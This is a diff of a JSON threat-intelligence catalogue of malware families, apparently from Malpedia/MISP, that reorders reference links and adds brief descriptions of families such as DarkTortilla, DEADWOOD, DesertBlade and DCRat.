"https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", + "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", + "https://www.databreaches.net/a-chat-with-darkside/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.youtube.com/watch?v=qxPXxWMI2i4" ], "synonyms": [ "BlackMatter" @@ -18181,8 +19049,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky", - "http://telegra.ph/Analiz-botneta-DarkSky-12-30", - "https://blog.radware.com/security/2018/02/darksky-botnet/" + "https://blog.radware.com/security/2018/02/darksky-botnet/", + "http://telegra.ph/Analiz-botneta-DarkSky-12-30" ], "synonyms": [], "type": [] @@ -18216,16 +19084,29 @@ "uuid": "374080b4-5e6c-4992-a7f5-def1f2975494", "value": "DarkTequila" }, + { + "description": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla", + "https://www.secureworks.com/research/darktortilla-malware-analysis" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fa08ee9c-d0e8-4c49-8a4d-af8e36206219", + "value": "DarkTortilla" + }, { "description": "DtBackdoor", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat", "https://www.facebook.com/darktrackrat/", - "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", - "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml", "https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html", "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", + "https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1", + "http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml", "https://www.tgsoft.it/files/report/download.asp?id=7481257469" ], "synonyms": [], @@ -18239,7 +19120,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc", - "https://reaqta.com/2017/11/short-journey-darkvnc/" + "https://reaqta.com/2017/11/short-journey-darkvnc/", + "https://isc.sans.edu/diary/rss/28934", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884" ], "synonyms": [], "type": [] @@ -18252,10 +19135,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf", - "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", "https://www.secureworks.com/research/threat-profiles/bronze-butler", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" ], "synonyms": [ "Muirim", @@ -18286,15 +19169,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.macnica.net/mpressioncss/feature_05.html/", - "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf" + "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.macnica.net/mpressioncss/feature_05.html/", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" ], "synonyms": [], "type": [] @@ -18307,14 +19190,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin", + "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/", + "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", "https://twitter.com/M_haggis/status/1498399791276912640", "https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis", - "https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292", "https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/", - "https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis" ], "synonyms": [], "type": [] @@ -18327,11 +19210,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader", - "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", - "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", - "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", "https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/", - "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html" + "https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html", + "https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/", + "https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat" ], "synonyms": [ "ModiLoader", @@ -18347,18 +19230,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat", - "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", - "https://community.riskiq.com/article/50c77491", - "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", + "https://community.riskiq.com/article/50c77491", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", "https://www.youtube.com/watch?v=ElqmQDySy48", "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", "https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/", - "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://cert.gov.ua/article/160530", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://cert.gov.ua/article/405538", + "https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html", "https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and", - "https://cert.gov.ua/article/405538" + "https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", + "https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html" ], "synonyms": [ "DarkCrystal RAT" @@ -18401,10 +19290,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" ], "synonyms": [], "type": [] @@ -18412,11 +19302,29 @@ "uuid": "cae8384d-b01b-4f9c-a31b-f693e12ea6b2", "value": "DDKONG" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" + ], + "synonyms": [ + "Agrius", + "DETBOSIT", + "SQLShred" + ], + "type": [] + }, + "uuid": "b3ce3d4d-f115-4bd0-8d30-2b63e060b286", + "value": "DEADWOOD" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply", + "https://securelist.com/threat-in-your-browser-extensions/107181", "https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/" ], "synonyms": [], @@ -18430,15 +19338,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b", - "https://www.youtube.com/watch?v=qmCjtigVVR0", - "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", "https://www.youtube.com/watch?v=Hhx9Q2i7zGo", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.youtube.com/watch?v=MRTdGUy1lfw", "https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s", + "https://www.youtube.com/watch?v=qmCjtigVVR0", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/" + "https://www.youtube.com/watch?v=MRTdGUy1lfw", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b", + "https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf", + "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [ "DoejoCrypt" @@ -18453,13 +19361,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom", - "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html", "https://asec.ahnlab.com/1269", + "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md", "https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html", "https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html", - "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html", "https://twitter.com/Amigo_A_/status/1196898012645220354", - "https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md" + "https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html", + "https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html" ], "synonyms": [ "deathransom", @@ -18515,19 +19423,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", "https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", "https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals", "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/" + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", + "https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/" ], "synonyms": [ "Glushkov" @@ -18592,8 +19500,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html" ], "synonyms": [], @@ -18633,21 +19541,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf", - "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", - "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", + "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf", - "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/" + "https://attack.mitre.org/groups/G0001/", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/", + "https://attack.mitre.org/groups/G0096", + "https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family", + "http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf" ], "synonyms": [ "PHOTO" @@ -18657,6 +19567,19 @@ "uuid": "7ea00126-add3-407e-b69d-d4aa1b3049d5", "value": "Derusbi (Windows)" }, + { + "description": "According to Microsoft, this was used in a limited destructive malware attack in early March 2022 impacting a single Ukrainian entity. DesertBlade is responsible for iteratively overwriting and then deleting overwritten files on all accessible drives (sparing the system if it is a domain controller).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.desertblade", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9a23d11d-1a32-47c8-a35e-accb88a2a370", + "value": "DesertBlade" + }, { "description": "", "meta": { @@ -18702,11 +19625,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", - "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html", - "http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/", - "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html" + "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware--Getting-Your-Hands-Dirty/", + "http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html", + "https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html", + "https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html" ], "synonyms": [ "LusyPOS" @@ -18721,35 +19644,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", - "https://securelist.com/cis-ransomware/104452/", - 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"https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://news.sophos.com/en-us/2020/08/12/color-by-numbers-inside-a-dharma-ransomware-as-a-service-attack/", + "https://securelist.com/cis-ransomware/104452/" ], "synonyms": [ "Arena", @@ -18768,12 +19691,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox", "https://github.com/samoceyn/Diamondfox-Technical-Analysis-Report/blob/6375314ccecdf3fe450f975a384bcc1b16f068a8/D%C4%B0AMONDFOX%20Technical%20Analysis%20Report.PDF", - "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/", - "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", + "https://www.scmagazine.com/inside-diamondfox/article/578478/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/", "https://blog.cylance.com/a-study-in-bots-diamondfox", "https://fr3d.hk/blog/diamondfox-bank-robbers-will-be-replaced", - "https://www.scmagazine.com/inside-diamondfox/article/578478/" + "https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/", + "https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/" ], "synonyms": [ "Crystal", @@ -18790,19 +19714,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol", - "https://medium.com/walmartglobaltech/diavol-the-enigma-of-ransomware-1fd78ffda648", - "https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", - "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", - 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"https://www.binarydefense.com/threat_watch/new-ransomware-diavol-being-dropped-by-trickbot/", + "https://www.scythe.io/library/adversary-emulation-diavol-ransomware-threatthursday", + "https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/", + "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://www.bleepingcomputer.com/news/security/diavol-ransomware-sample-shows-stronger-connection-to-trickbot-gang/" ], "synonyms": [], "type": [] @@ -18824,6 +19748,19 @@ "uuid": "81c95462-62ba-4182-bba0-707e1f6cc1eb", "value": "DILLJUICE" }, + { + "description": "Downloader.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.dilongtrash", + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8d910ebf-131b-452c-8cc2-0226887259a0", + "value": "DilongTrash" + }, { "description": "", "meta": { @@ -18837,6 +19774,19 @@ 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"https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" ], @@ -18900,28 +19850,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack", - "http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware", - "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", - "https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis", - "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", - "https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon", - 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"https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/", + "https://unit42.paloaltonetworks.com/travel-themed-phishing/", + "https://viql.github.io/dridex/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", + "https://twitter.com/Cryptolaemus1/status/1407135648528711680", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf", - "https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://malwarebookreports.com/cryptone-cobalt-strike/", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf", - "https://community.riskiq.com/article/e4fb7245", - "https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/", + "https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps", "https://www.atomicmatryoshka.com/post/malware-headliners-dridex", + "https://community.riskiq.com/article/2cd1c003", + 